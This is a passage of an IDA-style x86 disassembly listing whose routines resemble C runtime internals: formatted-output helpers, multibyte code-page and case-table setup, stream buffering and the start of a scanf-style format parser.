push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_4206E6
add esp, 10h
loc_42062F: ; CODE XREF: sub_41FF3F+6BCj
; sub_41FF3F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_420647 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4206B5
add esp, 10h
loc_420647: ; CODE XREF: sub_41FF3F+68j
; sub_41FF3F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41FF6B
loc_420658: ; CODE XREF: sub_41FF3F+1Fj
; sub_41FF3F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41FF3F endp
; ---------------------------------------------------------------------------
off_420660 dd offset loc_4200DE ; DATA XREF: sub_41FF3F+6Er
dd offset loc_41FFB4 ; jump table for switch statement
dd offset loc_41FFCF
dd offset loc_42001B
dd offset loc_420052
dd offset loc_42005A
dd offset loc_42008F
dd offset loc_420122
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420680 proc near ; CODE XREF: sub_41FF3F+1BDp
; sub_41FF3F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_420699
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_4206A4
; ---------------------------------------------------------------------------
loc_420699: ; CODE XREF: sub_420680+9j
push ecx
push [ebp+arg_0]
call sub_41FE2A
pop ecx
pop ecx
loc_4206A4: ; CODE XREF: sub_420680+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_4206B1
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4206B1: ; CODE XREF: sub_420680+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_420680 endp
; =============== S U B R O U T I N E =======================================
sub_4206B5 proc near ; CODE XREF: sub_41FF3F+65Ap
; sub_41FF3F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_4206E3
mov esi, [esp+8+arg_C]
loc_4206C6: ; CODE XREF: sub_4206B5+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_420680
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_4206E3
mov eax, edi
dec edi
test eax, eax
jg short loc_4206C6
loc_4206E3: ; CODE XREF: sub_4206B5+Bj
; sub_4206B5+25j
pop edi
pop esi
retn
sub_4206B5 endp
; =============== S U B R O U T I N E =======================================
sub_4206E6 proc near ; CODE XREF: sub_41FF3F+670p
; sub_41FF3F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_42071A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_4206FC: ; CODE XREF: sub_4206E6+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_420680
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_42071A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_4206FC
loc_42071A: ; CODE XREF: sub_4206E6+Cj
; sub_4206E6+2Bj
pop edi
pop esi
pop ebx
retn
sub_4206E6 endp
; =============== S U B R O U T I N E =======================================
sub_42071E proc near ; CODE XREF: sub_41FF3F+E5p
; sub_41FF3F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_42071E endp
; =============== S U B R O U T I N E =======================================
sub_42072B proc near ; CODE XREF: sub_41FF3F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_42072B endp
; =============== S U B R O U T I N E =======================================
sub_42073B proc near ; CODE XREF: sub_41FF3F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_42073B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420749 proc near ; CODE XREF: sub_420B0D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_4208E2
mov esi, eax
pop ecx
cmp esi, dword_4DD144
mov [ebp+arg_0], esi
jz loc_4208D6
xor ebx, ebx
cmp esi, ebx
jz loc_4208CC
xor edx, edx
mov eax, offset dword_43D0A0
loc_42077D: ; CODE XREF: sub_420749+41j
cmp [eax], esi
jz short loc_4207F3
add eax, 30h
inc edx
cmp eax, offset dword_43D190
jl short loc_42077D
lea eax, [ebp+var_18]
push eax
push esi
call near ptr 2650951h
nop
cmp eax, 1
jnz loc_4208C4
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DD260
cmp [ebp+var_18], 1
mov dword_4DD144, esi
rep stosd
stosb
mov dword_4DD364, ebx
jbe loc_4208B2
cmp [ebp+var_12], 0
jz loc_420888
lea ecx, [ebp+var_11]
loc_4207D0: ; CODE XREF: sub_420749+139j
mov dl, [ecx]
test dl, dl
jz loc_420888
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_4207E1: ; CODE XREF: sub_420749+A8j
cmp eax, edx
ja loc_42087C
or byte_4DD261[eax], 4
inc eax
jmp short loc_4207E1
; ---------------------------------------------------------------------------
loc_4207F3: ; CODE XREF: sub_420749+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DD260
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43D0B0[esi]
loc_42080F: ; CODE XREF: sub_420749+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_420842
loc_420816: ; CODE XREF: sub_420749+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_420842
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_42083B
mov edx, [ebp+var_4]
mov dl, byte_43D098[edx]
loc_420830: ; CODE XREF: sub_420749+F0j
or byte_4DD261[eax], dl
inc eax
cmp eax, edi
jbe short loc_420830
loc_42083B: ; CODE XREF: sub_420749+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_420816
loc_420842: ; CODE XREF: sub_420749+CBj
; sub_420749+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_42080F
mov eax, [ebp+arg_0]
mov dword_4DD15C, 1
push eax
mov dword_4DD144, eax
call sub_42092C
lea esi, dword_43D0A4[esi]
mov edi, offset dword_4DD150
movsd
movsd
pop ecx
mov dword_4DD364, eax
movsd
jmp short loc_4208D1
; ---------------------------------------------------------------------------
loc_42087C: ; CODE XREF: sub_420749+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_4207D0
loc_420888: ; CODE XREF: sub_420749+7Ej
; sub_420749+8Bj
push 1
pop eax
loc_42088B: ; CODE XREF: sub_420749+14Fj
or byte_4DD261[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_42088B
push esi
call sub_42092C
pop ecx
mov dword_4DD364, eax
mov dword_4DD15C, 1
jmp short loc_4208B8
; ---------------------------------------------------------------------------
loc_4208B2: ; CODE XREF: sub_420749+74j
mov dword_4DD15C, ebx
loc_4208B8: ; CODE XREF: sub_420749+167j
xor eax, eax
mov edi, offset dword_4DD150
stosd
stosd
stosd
jmp short loc_4208D1
; ---------------------------------------------------------------------------
loc_4208C4: ; CODE XREF: sub_420749+51j
cmp dword_4DBE4C, ebx
jz short loc_4208DA
loc_4208CC: ; CODE XREF: sub_420749+27j
call sub_42095F
loc_4208D1: ; CODE XREF: sub_420749+131j
; sub_420749+179j
call sub_420988
loc_4208D6: ; CODE XREF: sub_420749+1Dj
xor eax, eax
jmp short loc_4208DD
; ---------------------------------------------------------------------------
loc_4208DA: ; CODE XREF: sub_420749+181j
or eax, 0FFFFFFFFh
loc_4208DD: ; CODE XREF: sub_420749+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_420749 endp
; =============== S U B R O U T I N E =======================================
sub_4208E2 proc near ; CODE XREF: sub_420749+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DBE4C, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420902
mov dword_4DBE4C, 1
nop
jmp near ptr 26508E6h
; ---------------------------------------------------------------------------
loc_420902: ; CODE XREF: sub_4208E2+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420917
mov dword_4DBE4C, 1
nop
jmp near ptr 2650918h
; ---------------------------------------------------------------------------
loc_420917: ; CODE XREF: sub_4208E2+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42092B
mov eax, dword_4DBE94
mov dword_4DBE4C, 1
locret_42092B: ; CODE XREF: sub_4208E2+38j
retn
sub_4208E2 endp
; =============== S U B R O U T I N E =======================================
sub_42092C proc near ; CODE XREF: sub_420749+118p
; sub_420749+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_420959
sub eax, 4
jz short loc_420953
sub eax, 0Dh
jz short loc_42094D
dec eax
jz short loc_420947
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_420947: ; CODE XREF: sub_42092C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_42094D: ; CODE XREF: sub_42092C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_420953: ; CODE XREF: sub_42092C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_420959: ; CODE XREF: sub_42092C+9j
mov eax, 411h
retn
sub_42092C endp
; =============== S U B R O U T I N E =======================================
sub_42095F proc near ; CODE XREF: sub_420749:loc_4208CCp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DD260
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DD150
mov dword_4DD144, eax
mov dword_4DD15C, eax
mov dword_4DD364, eax
stosd
stosd
stosd
pop edi
retn
sub_42095F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420988 proc near ; CODE XREF: sub_420749:loc_4208D1p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DD144
nop
call near ptr 2650951h
cmp eax, 1
jnz loc_420AC1
xor eax, eax
mov esi, 100h
loc_4209B2: ; CODE XREF: sub_420988+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_4209B2
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420A03
push ebx
push edi
lea edx, [ebp+var_D]
loc_4209D1: ; CODE XREF: sub_420988+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_4209F8
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_4209F8: ; CODE XREF: sub_420988+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_4209D1
pop edi
pop ebx
loc_420A03: ; CODE XREF: sub_420988+42j
push 0
lea eax, [ebp+var_514]
push dword_4DD364
push dword_4DD144
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_4244F4
push 0
lea eax, [ebp+var_214]
push dword_4DD144
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DD364
call sub_4232A8
push 0
lea eax, [ebp+var_314]
push dword_4DD144
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DD364
call sub_4232A8
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_420A7E: ; CODE XREF: sub_420988+135j
mov dx, [ecx]
test dl, 1
jz short loc_420A9C
or byte_4DD261[eax], 10h
mov dl, [ebp+eax+var_214]
loc_420A94: ; CODE XREF: sub_420988+127j
mov byte_4DD160[eax], dl
jmp short loc_420AB8
; ---------------------------------------------------------------------------
loc_420A9C: ; CODE XREF: sub_420988+FCj
test dl, 2
jz short loc_420AB1
or byte_4DD261[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_420A94
; ---------------------------------------------------------------------------
loc_420AB1: ; CODE XREF: sub_420988+117j
and byte_4DD160[eax], 0
loc_420AB8: ; CODE XREF: sub_420988+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_420A7E
jmp short loc_420B0A
; ---------------------------------------------------------------------------
loc_420AC1: ; CODE XREF: sub_420988+1Dj
xor eax, eax
mov esi, 100h
loc_420AC8: ; CODE XREF: sub_420988+180j
cmp eax, 41h
jb short loc_420AE6
cmp eax, 5Ah
ja short loc_420AE6
or byte_4DD261[eax], 10h
mov cl, al
add cl, 20h
loc_420ADE: ; CODE XREF: sub_420988+174j
mov byte_4DD160[eax], cl
jmp short loc_420B05
; ---------------------------------------------------------------------------
loc_420AE6: ; CODE XREF: sub_420988+143j
; sub_420988+148j
cmp eax, 61h
jb short loc_420AFE
cmp eax, 7Ah
ja short loc_420AFE
or byte_4DD261[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_420ADE
; ---------------------------------------------------------------------------
loc_420AFE: ; CODE XREF: sub_420988+161j
; sub_420988+166j
and byte_4DD160[eax], 0
loc_420B05: ; CODE XREF: sub_420988+15Cj
inc eax
cmp eax, esi
jb short loc_420AC8
loc_420B0A: ; CODE XREF: sub_420988+137j
pop esi
leave
retn
sub_420988 endp
; =============== S U B R O U T I N E =======================================
sub_420B0D proc near ; CODE XREF: ___:00423684p
; ___:004236E0p ...
cmp dword_4DD394, 0
jnz short locret_420B28
push 0FFFFFFFDh
call sub_420749
pop ecx
mov dword_4DD394, 1
locret_420B28: ; CODE XREF: sub_420B0D+7j
retn
sub_420B0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420B29 proc near ; CODE XREF: sub_41C3B1+2Bp
; sub_41C3B1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DD15C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_420B4D
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41BFD0
add esp, 0Ch
jmp short loc_420BB0
; ---------------------------------------------------------------------------
loc_420B4D: ; CODE XREF: sub_420B29+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_420B92
mov ecx, [ebp+arg_4]
loc_420B58: ; CODE XREF: sub_420B29+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DD261[esi], 4
mov [edi], al
jz short loc_420B7C
inc edi
inc ecx
test edx, edx
jz short loc_420B88
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_420B8E
jmp short loc_420B82
; ---------------------------------------------------------------------------
loc_420B7C: ; CODE XREF: sub_420B29+3Ej
inc edi
inc ecx
test al, al
jz short loc_420B92
loc_420B82: ; CODE XREF: sub_420B29+51j
test edx, edx
jnz short loc_420B58
jmp short loc_420B92
; ---------------------------------------------------------------------------
loc_420B88: ; CODE XREF: sub_420B29+44j
and byte ptr [edi-1], 0
jmp short loc_420B92
; ---------------------------------------------------------------------------
loc_420B8E: ; CODE XREF: sub_420B29+4Fj
and byte ptr [edi-2], 0
loc_420B92: ; CODE XREF: sub_420B29+2Aj
; sub_420B29+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_420BAD
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_420BAD: ; CODE XREF: sub_420B29+6Fj
mov eax, [ebp+arg_0]
loc_420BB0: ; CODE XREF: sub_420B29+22j
pop edi
pop ebp
retn
sub_420B29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420BB3 proc near ; CODE XREF: sub_41C59D+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DBE84, 0
push ebx
jnz short loc_420BDE
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_420C7C
cmp eax, 7Ah
jg loc_420C7C
sub eax, 20h
jmp loc_420C7C
; ---------------------------------------------------------------------------
loc_420BDE: ; CODE XREF: sub_420BB3+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420C11
cmp dword_43D084, 1
jle short loc_420BFE
push 2
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420C09
; ---------------------------------------------------------------------------
loc_420BFE: ; CODE XREF: sub_420BB3+3Dj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 2
loc_420C09: ; CODE XREF: sub_420BB3+49j
test eax, eax
jnz short loc_420C11
loc_420C0D: ; CODE XREF: sub_420BB3+AFj
mov eax, ebx
jmp short loc_420C7C
; ---------------------------------------------------------------------------
loc_420C11: ; CODE XREF: sub_420BB3+34j
; sub_420BB3+58j
mov edx, off_43CE78
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420C34
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_420C3D
; ---------------------------------------------------------------------------
loc_420C34: ; CODE XREF: sub_420BB3+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_420C3D: ; CODE XREF: sub_420BB3+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DBE84
call sub_4232A8
add esp, 20h
test eax, eax
jz short loc_420C0D
cmp eax, 1
jnz short loc_420C6F
movzx eax, [ebp+var_4]
jmp short loc_420C7C
; ---------------------------------------------------------------------------
loc_420C6F: ; CODE XREF: sub_420BB3+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_420C7C: ; CODE XREF: sub_420BB3+14j
; sub_420BB3+1Dj ...
pop ebx
leave
retn
sub_420BB3 endp
; =============== S U B R O U T I N E =======================================
sub_420C7F proc near ; CODE XREF: sub_41C7BC+1Dp
; sub_41DC5E+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DBDE0, ecx
mov eax, offset dword_43D190
loc_420C90: ; CODE XREF: sub_420C7F+1Ej
cmp ecx, [eax]
jz short loc_420CB4
add eax, 8
inc edx
cmp eax, offset dword_43D2F8
jl short loc_420C90
cmp ecx, 13h
jb short loc_420CC1
cmp ecx, 24h
ja short loc_420CC1
mov dword_4DBDDC, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420CB4: ; CODE XREF: sub_420C7F+13j
mov eax, dword_43D194[edx*8]
mov dword_4DBDDC, eax
retn
; ---------------------------------------------------------------------------
loc_420CC1: ; CODE XREF: sub_420C7F+23j
; sub_420C7F+28j
cmp ecx, 0BCh
jb short loc_420CDB
cmp ecx, 0CAh
mov dword_4DBDDC, 8
jbe short locret_420CE5
loc_420CDB: ; CODE XREF: sub_420C7F+48j
mov dword_4DBDDC, 16h
locret_420CE5: ; CODE XREF: sub_420C7F+5Aj
retn
sub_420C7F endp
; =============== S U B R O U T I N E =======================================
sub_420CE6 proc near ; CODE XREF: sub_41C7E6+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_42463D
test eax, eax
pop ecx
jz short loc_420D6F
cmp esi, offset dword_43D588
jnz short loc_420D04
xor eax, eax
jmp short loc_420D0F
; ---------------------------------------------------------------------------
loc_420D04: ; CODE XREF: sub_420CE6+18j
cmp esi, offset dword_43D5A8
jnz short loc_420D6F
push 1
pop eax
loc_420D0F: ; CODE XREF: sub_420CE6+1Cj
inc dword_4DBFAC
test word ptr [esi+0Ch], 10Ch
jnz short loc_420D6F
cmp dword_4DBE50[eax*4], 0
push ebx
push edi
lea edi, ds:4DBE50h[eax*4]
mov ebx, 1000h
jnz short loc_420D55
push ebx
call sub_41BEB5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_420D55
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_420D62
; ---------------------------------------------------------------------------
loc_420D55: ; CODE XREF: sub_420CE6+4Dj
; sub_420CE6+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_420D62: ; CODE XREF: sub_420CE6+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420D6F: ; CODE XREF: sub_420CE6+10j
; sub_420CE6+24j ...
xor eax, eax
pop esi
retn
sub_420CE6 endp
; =============== S U B R O U T I N E =======================================
sub_420D73 proc near ; CODE XREF: sub_41C7E6+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_420D9D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_420DAE
push esi
call sub_41E42B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_420D9D: ; CODE XREF: sub_420D73+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_420DAE
push eax
call sub_41E42B
pop ecx
loc_420DAE: ; CODE XREF: sub_420D73+10j
; sub_420D73+32j
pop esi
retn
sub_420D73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420DB0 proc near ; CODE XREF: sub_41CCE3+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_4217B6
mov edi, [ebp+arg_0]
jmp short loc_420DDF
; ---------------------------------------------------------------------------
loc_420DDA: ; CODE XREF: sub_420DB0+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_420DDF: ; CODE XREF: sub_420DB0+28j
cmp dword_43D084, 1
jle short loc_420DF7
movzx eax, al
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420E06
; ---------------------------------------------------------------------------
loc_420DF7: ; CODE XREF: sub_420DB0+36j
mov ecx, off_43CE78
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420E06: ; CODE XREF: sub_420DB0+45j
cmp eax, ebx
jz short loc_420E40
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_42183D
pop ecx
pop ecx
push eax
call sub_421826
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DF10
add esp, 0Ch
loc_420E2E: ; CODE XREF: sub_420DB0+8Ej
test eax, eax
jz short loc_420E40
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DF10
pop ecx
jmp short loc_420E2E
; ---------------------------------------------------------------------------
loc_420E40: ; CODE XREF: sub_420DB0+58j
; sub_420DB0+80j
cmp byte ptr [esi], 25h
jnz loc_421722
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_420E77: ; CODE XREF: sub_420DB0+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43D084, 1
jle short loc_420E94
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420EA3
; ---------------------------------------------------------------------------
loc_420E94: ; CODE XREF: sub_420DB0+D3j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420EA3: ; CODE XREF: sub_420DB0+E2j
test eax, eax
jz short loc_420EB9
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EB9: ; CODE XREF: sub_420DB0+F5j
cmp ebx, 4Eh
jg short loc_420EFC
jz short loc_420F1E
cmp ebx, 2Ah
jz short loc_420EF7
cmp ebx, 46h
jz short loc_420F1E
cmp ebx, 49h
jz short loc_420ED9
cmp ebx, 4Ch
jnz short loc_420F0B
inc [ebp+var_D]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420ED9: ; CODE XREF: sub_420DB0+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_420F0B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_420F0B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EF7: ; CODE XREF: sub_420DB0+113j
inc [ebp+var_E]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EFC: ; CODE XREF: sub_420DB0+10Cj
cmp ebx, 68h
jz short loc_420F18
cmp ebx, 6Ch
jz short loc_420F10
cmp ebx, 77h
jz short loc_420F13
loc_420F0B: ; CODE XREF: sub_420DB0+122j
; sub_420DB0+12Dj ...
inc [ebp+var_F]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420F10: ; CODE XREF: sub_420DB0+154j
inc [ebp+var_D]
loc_420F13: ; CODE XREF: sub_420DB0+159j
inc [ebp+var_5]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420F18: ; CODE XREF: sub_420DB0+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_420F1E: ; CODE XREF: sub_420DB0+107j
; sub_420DB0+10Ej ...
cmp [ebp+var_F], 0
jz loc_420E77
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_420F43
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_420F43: ; CODE XREF: sub_420DB0+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_420F61
mov al, [esi]
cmp al, 53h
jz short loc_420F5D
cmp al, 43h
jz short loc_420F5D
or [ebp+var_5], 0FFh
jmp short loc_420F61
; ---------------------------------------------------------------------------
loc_420F5D: ; CODE XREF: sub_420DB0+1A1j
; sub_420DB0+1A5j
mov [ebp+var_5], 1
loc_420F61: ; CODE XREF: sub_420DB0+19Bj
; sub_420DB0+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_420F9A
cmp esi, 63h
jz short loc_420F8B
cmp esi, 7Bh
jz short loc_420F8B
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_42183D
pop ecx
jmp short loc_420F96
; ---------------------------------------------------------------------------
loc_420F8B: ; CODE XREF: sub_420DB0+1C5j
; sub_420DB0+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
loc_420F96: ; CODE XREF: sub_420DB0+1D9j
pop ecx
mov [ebp+var_14], eax
loc_420F9A: ; CODE XREF: sub_420DB0+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_420FAA
cmp [ebp+var_C], eax
jz loc_421786
loc_420FAA: ; CODE XREF: sub_420DB0+1EFj
cmp esi, 6Fh
jg loc_421211
jz loc_4214C3
cmp esi, 63h
jz loc_4211EE
cmp esi, 64h
jz loc_4214C3
jle loc_42123B
